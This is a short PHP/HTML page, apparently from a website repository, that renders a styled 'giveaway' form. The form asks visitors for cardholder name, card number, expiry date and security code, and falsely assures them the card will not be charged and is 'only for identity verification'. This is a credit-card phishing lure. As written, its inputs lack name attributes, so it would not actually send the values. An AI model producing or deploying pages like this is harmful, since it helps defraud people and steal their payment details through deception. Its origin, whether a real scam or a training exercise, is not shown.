site/ps2.php

49 lines
1.2 KiB
PHP

<style>
input[type=text], select {
width: 100%;
padding: 12px 20px;
margin: 8px 0;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
input[type=submit], button {
width: 100%;
background-color: #4CAF50;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type=submit]:hover, button:hover {
background-color: #45a049;
}
form {
border-radius: 5px;
background-color: #f2f2f2;
padding: 20px;
max-width: 700px;
}
</style>
<h1>Enter credit card info to join giveaway!</h1>
<p>Your card will not be charged, this is only for identity verification.</p>
<form action="ps2b" method="POST">
<label for="name">Cardholder Name</label>
<input id="name" maxlength="20" type="text">
<label for="cardnumber">Card Number</label>
<input id="cardnumber" type="text" pattern="[0-9]*" inputmode="numeric">
<label for="expirationdate">Expiration (mm/yy)</label>
<input id="expirationdate" type="text" pattern="[0-1][0-2]\/[0-3][0-1]" inputmode="numeric">
<label for="securitycode">Security Code</label>
<input id="securitycode" type="text" pattern="[0-9]*" inputmode="numeric">
<button>Enter Giveaway</button>
</form>